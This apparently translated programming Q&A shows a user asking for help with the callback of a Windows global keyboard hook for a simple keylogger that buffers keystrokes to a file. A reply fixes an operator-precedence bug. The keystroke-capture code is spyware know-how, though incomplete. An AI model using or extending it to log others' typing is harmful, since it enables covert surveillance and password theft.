C 全局键盘挂钩回拨功能

C 全局键盘挂钩回拨功能,c,winapi,hook,keyboard-hook,keylogger,C,Winapi,Hook,Keyboard Hook,Keylogger,我正在尝试使用全局键盘挂钩编写一个简单的键盘记录器程序。 我需要一些帮助来实现键盘钩子回调函数。到目前为止,我的功能正常,但无法处理按键未释放的情况 LRESULT CALLBACK KeyboardProc( int code,WPARAM wParam,LPARAM lParam ){ DWORD keyStroke=wParam; if(code>=0 && lParam&0x40000000){ buff[charCount+

我正在尝试使用全局键盘挂钩编写一个简单的键盘记录器程序。 我需要一些帮助来实现键盘钩子回调函数。到目前为止,我的功能正常,但无法处理按键未释放的情况

LRESULT CALLBACK KeyboardProc( int code,WPARAM wParam,LPARAM lParam ){
    DWORD keyStroke=wParam;
    if(code>=0 && lParam&0x40000000){
        buff[charCount++]=(WCHAR)keyStroke;
        buff[charCount]=L'\0';
        if(charCount==1024 && charCount>0){
            writeCacheToFile(buff,1025);
            charCount=0;
        }
    }
    return CallNextHookEx(NULL,code,wParam,lParam);
}
在这里,我尝试将字符存储在buff中,然后使用writeCacheToFile将它们写入文件

有人能给我一些处理按键事件的示例代码吗

任何帮助都将不胜感激

谢谢,
Ashish.

我没有详细看过,但这里有一个优先权问题

if(code>=0 && lParam&0x40000000)
你需要

if( code >= 0 && (lParam & 0x40000000) )
而且,这很奇怪

if( charCount == 1024 && charCount > 0 )
如果charCount为1024,则它始终大于0